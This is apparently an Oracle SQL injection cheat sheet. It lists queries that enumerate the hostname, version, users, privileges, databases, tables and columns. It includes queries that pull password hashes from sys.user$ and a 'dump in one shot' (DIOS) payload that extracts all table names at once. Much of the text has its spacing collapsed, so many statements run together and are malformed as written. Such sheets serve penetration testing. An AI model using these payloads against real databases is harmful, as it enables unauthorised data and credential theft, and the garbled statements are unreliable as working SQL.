SELECT statements MUST have a FROM clause. Use dummy table dual.
# comments--/*<blah>*/# concatSELECT'A'||'B'FROMdual# hostnameSELECThost_nameFROMv$instanceSELECTUTL_INADDR.get_host_nameFROMdual# versionSELECTversionFROMv$instanceSELECTbannerFROMv$version [WHERE rownum=1]# usersSELECTuserFROMdualSELECTusernameFROMall_usersSELECTnameFROMsys.user$# user privsSELECT*fromuser_role_privs# password (DES)# astatus = if account is lockedSELECTpassword,astatusFROMsys.user$SELECTname,spare4FROMsys.user$# databasesSELECTglobal_nameFROMglobal_nameSELECTnameFROMv$databaseSELECTinstance_nameFROMv$instanceSELECTSYS.DATABASE_NAMEFROMDUAL|SELECTDISTINCTownerFROMall_tables# tablesSELECTtable_nameFROMall_tables# DIOS: dump in one shotselect rtrim(xmlagg(xmlelement(e, table_name ||',')).extract('//text()').extract('//text()') ,',') from all_tables| (SELECT replace(wm_concat('<li>'||table_name),',','') FROM all_tables)# colsSELECT column_name FROM all_tab_columns WHERE table_name = '<table>'# 9th rowSELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9